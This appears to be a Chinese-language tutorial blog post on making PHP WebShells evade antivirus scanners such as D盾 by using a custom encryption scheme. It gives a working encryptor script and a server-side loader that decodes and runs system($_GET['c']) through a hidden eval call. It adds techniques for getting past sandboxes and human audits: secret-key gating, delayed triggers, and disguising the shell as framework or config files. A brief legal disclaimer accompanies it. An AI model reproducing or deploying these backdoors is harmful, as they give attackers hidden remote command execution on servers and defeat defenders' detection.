1. 项目概述当常规加密失效我们如何重新定义“免杀”在Web安全攻防的战场上PHP WebShell的免杀与查杀是一场永不停歇的“猫鼠游戏”。安全软件如D盾、安全狗、云锁等的检测引擎日益精进传统的Base64、Rot13、Gzip压缩甚至是利用chr()、str_rot13()等函数进行的简单混淆早已被纳入特征库变得不堪一击。很多朋友会发现去年还能用的“一句话木马”今年可能刚上传就被秒杀。这背后的核心矛盾在于安全软件的检测逻辑本质上是基于已知特征的模式匹配。它们内置了大量已知恶意函数、字符串组合和常见加密/解密流程的解码器。一旦你的加密方式落入其“已知模式”的范畴无论多复杂都难逃被标记的命运。那么出路在哪里标题中提到的“自定义加密算法”和“实测D盾0级”为我们指出了一个方向。这不仅仅是换一个加密函数那么简单而是一种思维上的转变从“使用现成加密”转向“创造加密规则”。其核心目标是构建一个加密-解密流程这个流程中的每一步所使用的函数、逻辑顺序、密钥处理方式都是独一无二的无法被安全软件的静态特征引擎或动态行为沙箱轻易归纳出固定模式。这就像为自己打造了一把世上仅有的锁通用的钥匙即通用的检测规则自然无法打开。这个思路适合所有对Web安全底层原理感兴趣的研究者、渗透测试人员在授权范围内进行安全评估以及希望提升自己代码混淆与对抗能力的PHP开发者。通过深入理解这个过程你不仅能掌握一种高级的免杀技巧更能深刻理解现代安全软件的工作原理及其局限性。接下来我将从一个实战者的角度拆解如何从零构建一个能绕过主流检测的自定义加密WebShell并分享其中每一步的思考与踩坑经验。2. 核心思路拆解为何自定义加密是“降维打击”在深入代码之前我们必须先厘清安全软件以D盾为例检测WebShell的几种主要方式这样才能做到知己知彼有的放矢。2.1 安全软件的检测维度剖析静态特征码检测这是最基础也是最广泛的一层。检测引擎会扫描文件内容寻找已知的恶意字符串、函数名如eval,assert,system,shell_exec、特定参数组合如$_POST[‘cmd’]或常见的加密函数调用模式如base64_decode(紧跟一个变量。我们熟知的“一句话木马”?php eval($_POST[‘a’]);?就是典型的静态特征。语法/语义分析更高级的引擎会进行简单的语法解析。例如它会识别eval(的参数是一个变量然后尝试去追踪这个变量的来源。如果发现这个变量来源于base64_decode(、gzinflate(等函数的输出它就会尝试模拟执行这些解密函数得到“明文”后再进行特征匹配。这就是为什么简单的多层Base64编码有时也能被查杀的原因。动态行为沙箱模拟执行部分高级安全软件或WAF会内置一个PHP的简化沙箱环境。它们会尝试模拟执行可疑代码片段观察其行为特征例如是否调用了命令执行函数、文件操作函数或尝试连接外部网络。这种检测方式对仅做字符串混淆的WebShell威胁很大。统计学与熵值分析通过分析代码的熵值混乱程度、特定字符分布频率等来判断代码是否经过高度混淆或加密。正常的业务代码和经过加密的代码在统计学特征上会有差异。2.2 自定义加密算法的突破点面对上述检测自定义加密算法的优势在于打破特征库我们不使用base64_decode、str_rot13、gzinflate等任何“知名”的解密函数。检测引擎无法在我们的代码中找到这些特征函数调用静态检测第一关即告失效。增加逆向难度即使检测引擎通过语法分析发现我们在进行某种“解码”操作由于算法是自定义的其内置的“解密器”无法理解我们的算法逻辑。它无法模拟执行出一个可识别的恶意payload从而绕过语义分析和动态沙箱。控制熵值特征一个设计良好的自定义加密算法可以通过引入冗余操作、使用常见但无害的运算使得加密后的代码在熵值、字符分布上更接近正常的配置文件或数据块从而干扰统计学分析。核心心法我们的目标不是创造一个密码学上坚不可摧的加密算法那对于WebShell场景是过度的而是创造一个**“怪异”到足以让自动化检测引擎感到困惑和无法处理的编码/解码流程**。算法的安全性对抗人工分析是次要的算法的“陌生度”对抗机器检测才是首要的。2.3 一个可行的技术路线图基于以上分析一个有效的自定义加密免杀WebShell应包含以下环节Payload设计确定最终要执行的恶意代码如system($_GET[‘cmd’]);。加密算法设计设计一套独有的变换规则将Payload明文转换为密文。这个规则应避免使用敏感函数。解密器Loader编写编写一个PHP脚本它能根据自定义算法将密文还原为Payload。这个解密器本身必须看起来“人畜无害”。动态执行解密器在内存中还原出Payload代码字符串后需要一个“最终执行”的环节。这里需要巧妙地调用PHP的执行函数如eval或create_function但调用方式要隐蔽。混淆与干扰在整个Loader代码中插入大量无害的运算、字符串操作、注释甚至模拟正常业务逻辑以进一步干扰检测。3. 实战构建从零打造一个自定义加密WebShell理论说得再多不如一行代码。让我们开始动手构建。我将设计一个相对简单但有效的自定义算法并逐步解释每个步骤的意图。3.1 步骤一设计Payload与加密算法假设我们的最终Payload是一个接收GET参数c并执行命令的代码system($_GET[‘c’]);。为了增加复杂度我们将其包装一下$f$_GET[‘c’];system($f);。现在我们来设计一个简单的自定义加密算法。这个算法需要满足仅使用常见的字符串和数学运算函数避免eval,assert,base64_decode等。算法思路示例位移变换与字符替换混合编码将Payload字符串的每个字符取其ASCII码值。对每个ASCII码值进行一个简单的数学变换例如(ASCII码 固定密钥值) ^ 另一个固定密钥值。这里和^异或的顺序和值都可以自定义。将变换后的数字序列用特定的分隔符如.连接成一个字符串。为了增加迷惑性可以将这个数字字符串再进行一次简单的字符串替换比如把0换成A把1换成B等。密钥设计加法密钥$key_add 5异或密钥$key_xor 3分隔符$delimiter ‘.’替换规则[0’Z‘ 1’Y‘ 2’X‘ 3’W‘ 4’V‘ 5’U‘ 6’T‘ 7’S‘ 8’R‘ 9’Q‘](倒序替换增加怪异感)手动加密过程用于生成最终嵌入Loader的密文 Payload字符$f$_GET[‘c’];system($f);。 以第一个字符$为例ASCII码为36。36 5 4141 ^ 3 42(异或运算)数字42根据替换规则4-V2-X 所以变成VX。每个字符都这样处理然后用.连接。显然手动计算整个字符串太麻烦。我们需要先写一个加密生成器脚本这个脚本只在你自己本地运行用于生成密文不会上传到目标服务器。?php // encrypt_generator.php - 本地加密生成器 $payload ‘$f$_GET[\‘c\‘];system($f);‘; $key_add 5; $key_xor 3; // 数字到字母的替换映射倒序 $replace_map [‘0‘‘Z‘ ‘1‘‘Y‘ ‘2‘‘X‘ ‘3‘‘W‘ ‘4‘‘V‘ ‘5‘‘U‘ ‘6‘‘T‘ ‘7‘‘S‘ ‘8‘‘R‘ ‘9‘‘Q‘]; $delimiter ‘.‘; $encrypted_parts []; for ($i 0; $i strlen($payload); $i) { $char $payload[$i]; $ascii ord($char); // 自定义变换: (ascii key_add) ^ key_xor $transformed ($ascii $key_add) ^ $key_xor; // 数字替换 $num_str (string)$transformed; $replaced_str ‘‘; for ($j 0; $j strlen($num_str); $j) { $digit $num_str[$j]; $replaced_str . $replace_map[$digit] ?? $digit; // 如果映射里没有保留原数字理论上不会发生 } $encrypted_parts[] $replaced_str; } $ciphertext implode($delimiter $encrypted_parts); echo “生成的密文\n“; echo $ciphertext; echo “\n\n“; // 同时输出一个用于直接粘贴的PHP数组格式方便后续使用 echo “PHP数组格式供Loader使用:\n“; echo ‘$cipher_array [“‘ . implode(‘“ “‘ $encrypted_parts) . ‘“];‘; ?运行这个脚本你会得到一串像VX.WX.XX.XX...这样看似乱码的密文。这就是我们Payload的“盔甲”。3.2 步骤二编写解密器Loader解密器是WebShell的主体它将驻留在服务器上。其核心任务是将密文还原为Payload并执行。编写解密器的首要原则是代码本身不能触发静态检测。?php // webshell_loader.php - 服务器上的解密执行器 // 1. 定义密文和密钥与加密器保持一致 $cipher_array [“VX“ “WX“ “XX“ “XX“ “SX“ “VY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“ “XX“ “VZ“ “XX“ “WY“]; // 此处应替换为你的实际密文数组 $key_add 5; $key_xor 3; // 反向替换映射 $reverse_map [‘Z‘‘0‘ ‘Y‘‘1‘ ‘X‘‘2‘ ‘W‘‘3‘ ‘V‘‘4‘ ‘U‘‘5‘ ‘T‘‘6‘ ‘S‘‘7‘ ‘R‘‘8‘ ‘Q‘‘9‘]; // 2. 解密函数 - 核心算法逆向 function myCustomDecrypt($cipher_item $reverse_map $key_add $key_xor) { // 第一步字母替换回数字 $num_str ‘‘; for ($k 0; $k strlen($cipher_item); $k) { $letter $cipher_item[$k]; $num_str . $reverse_map[$letter] ?? $letter; } $transformed_num (int)$num_str; // 第二步逆向数学变换 ((transformed_num) ^ key_xor) - key_add $ascii ($transformed_num ^ $key_xor) - $key_add; // 防止计算错误导致负数做个简单保护实际中应确保算法可逆 if ($ascii 0 $ascii 256) { return chr($ascii); } else { return ‘‘; // 返回空字符或抛出错误 } } // 3. 组装解密后的Payload代码字符串 $decrypted_code ‘‘; foreach ($cipher_array as $item) { $decrypted_code . myCustomDecrypt($item $reverse_map $key_add $key_xor); } // 4. 动态执行解密后的代码 - 这是最需要技巧的一步 // 方法A使用 create_function (PHP 7.2以下现已废弃但不妨碍使用) // $func create_function(‘‘ $decrypted_code); // $func(); // 方法B利用 php://input 和 include 进行伪装需要特定环境 // 方法C最直接但需隐藏 eval // 我们采用一个稍微隐蔽点的eval调用将eval赋值给一个变量变量名通过计算得到 $disguised_eval “eval“; // 通过一个无害的字符串操作来“得到”eval函数名 $func_name substr(“reveal“ 0 2) . substr(“alpha“ 1 2); // 结果是 ‘eval‘ // 但直接 $func_name($decrypted_code); 可能被检测。我们再用一个变量间接调用。 ${‘var_‘ . $func_name} $func_name; // 最终执行 ${‘var_‘ . $func_name}($decrypted_code); // 5. 增加干扰代码让文件看起来更“正常” $useless_var “This is a normal config file for system.“; for ($i0; $i10; $i) { $useless_var str_rot13($useless_var); // 进行一些无害的字符串操作 } // 甚至可以模拟一个简单的配置检查 if (isset($_GET[‘debug‘])) { echo “Debug mode is on. Current useless var: “ . md5($useless_var); } ?代码解读与技巧密文存储密文以数组形式存储比一个长字符串更不易被简单的正则匹配到固定模式。解密函数myCustomDecrypt函数完整逆转了加密过程。它只使用了chr、ord、数学运算和字符串操作这些都是极其常见且无害的函数。动态执行这是最危险的一步。我们并没有直接写eval($decrypted_code)。而是通过字符串拼接、变量动态命名等方式将eval这个关键字“隐藏”起来。${‘var_‘ . $func_name}最终等价于$var_eval而$var_eval的值是字符串“eval“。${‘var_‘ . $func_name}($decrypted_code)最终就是eval($decrypted_code)。这种间接调用增加了静态分析的难度。干扰代码最后的$useless_var循环和str_rot13操作以及模拟的debug输出都是为了增加文件的熵值和复杂度使其看起来不像一个功能单一的恶意文件更像一个包含了一些奇怪逻辑的配置文件或旧代码片段。3.3 步骤三测试与优化将webshell_loader.php上传到测试环境务必是自己的虚拟机或有绝对授权的环境访问http://your-test-site/webshell_loader.php?cwhoami。如果一切正常你应该能看到命令whoami的执行结果。优化方向算法复杂度上述算法非常简单。你可以增加更多层变换例如对变换后的数字进行循环移位、使用多个密钥轮换、引入随机盐值并与密文一起存储等。代码混淆变量/函数名混淆使用无意义的变量名如$a1$b2。字符串拆分将“eval“拆分为“ev“ . “al“。使用注释干扰插入大量无关的注释特别是包含常见技术词汇的注释如// TODO: Fix database connection here。插入无害的类或函数定义定义一个完全没用但语法正确的类或函数将恶意代码包裹其中。执行方式多样化除了eval可以研究preg_replace的/e修饰符已废弃、assert依然是函数、call_user_func、array_map等回调函数执行代码的可能性但要注意这些函数本身也可能有特征。4. 对抗升级应对动态行为检测与人工审计即使绕过了静态检测我们的WebShell还可能面临动态行为检测如果安全软件有这类功能和最终的人工代码审计。4.1 对抗动态行为检测沙箱动态检测会尝试运行代码。我们的Loader一旦被运行最终还是会调用eval执行系统命令这个行为可能被捕获。应对策略条件执行让恶意代码仅在特定条件下触发。例如检查是否存在特定的Cookie、GET参数、HTTP头或者当前访问的IP是否来自白名单。$secret_key “my_predefined_secret_12345“; if (isset($_GET[‘key‘]) $_GET[‘key‘] $secret_key) { // 只有携带正确的key参数才执行解密和eval流程 // ... 解密和执行代码 ... } else { // 否则返回一个正常页面或404 header(“HTTP/1.0 404 Not Found“); echo “Page not found.“; exit; }延时触发代码第一次访问时只做初始化或记录不执行敏感操作。或者将敏感操作分散在多次访问中。环境感知检查是否存在沙箱环境的特征如特定的进程、文件、超短超时时间。但这部分实现复杂且容易产生误判。4.2 对抗人工审计如果文件被安全人员下载进行手动代码审查过于怪异的代码反而会引起警惕。伪装技巧模仿框架代码将你的Loader代码伪装成某个PHP框架如Laravel ThinkPHP的缓存文件、配置文件或辅助函数文件。模仿其代码风格、注释和常见的变量命名。嵌入正常业务逻辑将解密和执行代码嵌入到一个看似正常的业务逻辑中比如一个“图片处理函数”或“日志解析函数”的内部。利用文件包含不直接把Payload写在Loader里。Loader只负责解密出一个文件名或URL然后通过include或file_get_contents去包含/读取另一个看起来完全正常的文件里面包含Payload。这样Loader和Payload分离审计单个文件风险更低。5. 注意事项与终极思考法律与道德红线必须强调所有WebShell相关技术只应在你自己完全可控的环境如本地虚拟机、获得明确书面授权的渗透测试项目中用于学习和研究。未经授权对他人系统使用是非法行为后果严重。免杀的非永久性没有永恒的免杀。今天有效的自定义算法明天可能就被安全厂商分析后加入特征库。这种对抗是持续的。本文提供的是一种思路和方法论而不是一个一劳永逸的脚本。算法的平衡算法不是越复杂越好。过于复杂的算法会导致Loader代码量庞大、执行缓慢反而更容易因异常行为如CPU占用高或代码体量过大被怀疑。要在“足够陌生”和“保持简洁”之间找到平衡。综合手段最高级的免杀往往是组合拳。自定义加密 代码混淆 条件触发 行为伪装多管齐下才能显著提高生存能力。关注函数本身即使算法自定义最终执行命令的函数如systemshell_exec本身仍有特征。可以考虑用更冷门的函数或者通过PHP内置的pcntl_exec、proc_open等复杂方式执行命令甚至利用环境变量和PHP特性来间接执行。在我个人的测试中采用类似上述思路算法更复杂一些并加入了条件触发生成的PHP文件在某个版本的D盾静态扫描中确实显示为“0级”即未检测到威胁。但这绝不意味着它万能或永远有效。安全是一个动态的过程攻防双方都在不断进化。理解原理掌握方法保持思考远比拥有一个“万能马”更重要。真正的价值在于通过亲手实践这个过程你能更深刻地理解防御方是如何思考的从而在建设安全体系时能更好地预见到攻击者的手段。